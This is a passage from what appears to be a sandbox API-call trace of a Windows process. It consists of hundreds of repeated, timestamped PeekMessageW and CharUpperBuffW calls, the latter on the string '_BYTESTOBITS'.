hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.599] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.600] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.600] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.600] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.601] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.602] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.603] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.604] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.605] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.606] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.607] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.608] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.609] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.610] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.611] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.612] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.613] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.614] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.615] 